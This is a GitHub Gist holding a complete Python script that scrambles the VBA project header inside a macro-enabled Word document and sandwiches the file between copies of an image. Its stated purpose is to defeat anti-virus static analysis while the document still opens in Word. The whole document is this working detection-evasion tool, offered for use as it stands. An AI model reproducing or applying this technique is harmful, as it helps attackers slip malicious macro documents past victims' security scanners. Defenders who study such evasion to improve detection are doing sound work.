Skip to content

Instantly share code, notes, and snippets.

@D4stiny
Created September 16, 2020 07:08
Show Gist options
  • Save D4stiny/3429852f2fe8b7f7725e7f5cc18cafbd to your computer and use it in GitHub Desktop.
Save D4stiny/3429852f2fe8b7f7725e7f5cc18cafbd to your computer and use it in GitHub Desktop.
Corrupts macro documents to prevent static analysis by anti-virus while still allowing for the document to be opened in Microsoft Word.
import sys
import zipfile
import random
def get_zip_file_header_offset(zip_filename, target_filename):
"""
Parse the file header offset for a target_filename.
:param zip_filename: The name of the zip file to read.
:param target_filename: The name of the file to find the header of.
:return: The offset of the target file header.
"""
with zipfile.ZipFile(zip_filename, 'r') as zip:
for file in zip.infolist():
if file.filename == target_filename:
return file.header_offset
return 0
def read_file_content(filename):
"""
Read the contents of a file into a bytearray.
:param filename: The name of the file to read.
:return: File content as a bytearray.
"""
with open(filename, 'rb') as file:
return bytearray(file.read())
return None
# Verify we have enough arguments.
if len(sys.argv) < 2:
print(f"Usage: macro_scrambler.py [document name] [image name]")
sys.exit(0xDEADBEEF)
# Read the arguments.
document_filename = sys.argv[1]
image_filename = sys.argv[2]
# Read the document
document_content = read_file_content(document_filename)
# Read the image.
image_content = read_file_content(image_filename)
# Make sure we were able to read both files.
if not document_content:
print("Could not read the document.")
sys.exit(0xDEADBEEF)
if not image_content:
print("Could not read the image.")
sys.exit(0xDEADBEEF)
# Grab the offset for the Macro file header.
macro_header_offset = get_zip_file_header_offset(document_filename, "word/vbaProject.bin")
print(f"macro_header_offset = {macro_header_offset}")
# Scramble the VBA file header magic.
document_content[macro_header_offset] = random.randint(0, 255)
document_content[macro_header_offset+1] = random.randint(0, 255)
document_content[macro_header_offset+2] = random.randint(0, 255)
document_content[macro_header_offset+3] = random.randint(0, 255)
# Prepend and append the image.
document_content = image_content + document_content + image_content
# Generate the new filename.
newfilename = document_filename
newfilename = newfilename.replace(".docm", "") + "-patched.docm"
# Write the patched document file.
with open(newfilename, 'wb') as file:
file.write(document_content)
print(f"Wrote the patched file to {newfilename}.")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment